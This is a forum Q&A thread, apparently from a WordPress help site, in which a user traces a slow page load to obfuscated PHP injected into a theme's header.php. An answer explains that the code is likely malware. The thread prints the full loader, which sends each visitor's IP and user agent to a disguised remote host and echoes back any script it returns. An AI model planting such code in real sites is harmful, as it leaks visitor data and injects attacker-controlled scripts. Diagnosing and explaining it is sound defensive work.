1

I was troubleshooting a 20-30s TTFB for a Wordpress Theme with the help of the fabulous Query Monitor.

I was able to narrow down the cause to this code:

#e0e950#
error_reporting(0); @ini_set('display_errors',0); $wp_s15 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_s15) && !preg_match ('/bot/i', $wp_s15))){
$wp_s0915="http://"."https"."http".".com/"."http/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_s15);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_s0915); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_15s = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_15s = @file_get_contents($wp_s0915);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_15s=@stream_get_contents(@fopen($wp_s0915, "r"));}}
if (substr($wp_15s,1,3) === 'scr'){ echo $wp_15s; }
#/e0e950#

The cause of the TTFB now becomes obvious thanks to the 20 second timeout value of the curl request. But why does this code even exist in a template header.php and what on earth is it doing?

1

Most probably it's some kind of malicious code.

What it does is:

  1. Disable error reporting
  2. Check the available methods of getting contents from remote server
  3. Send a request to a remote server
  4. Display the result of that request on your site

So it's some kind of spammy SEO links or something like that.

And no, your site shouldn't have such code on it and if it does - most probably it's a result of malware infection.

  • Thank you so much. The remote server translates to http://httpshttp.com/http/? and sends ip, referrer, and ua. I guess the problem started because that site's down or something. – kwacky1 Jan 30 at 13:29
  • 1
    Exactly. That’s another reason to assume that it’s some kind of malware - the url looks like author was trying to make it hard to understand... And yes - site is currently down, so that request got very slow (because it has to wait for timeout). – Krzysiek Dróżdż Jan 30 at 13:32

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.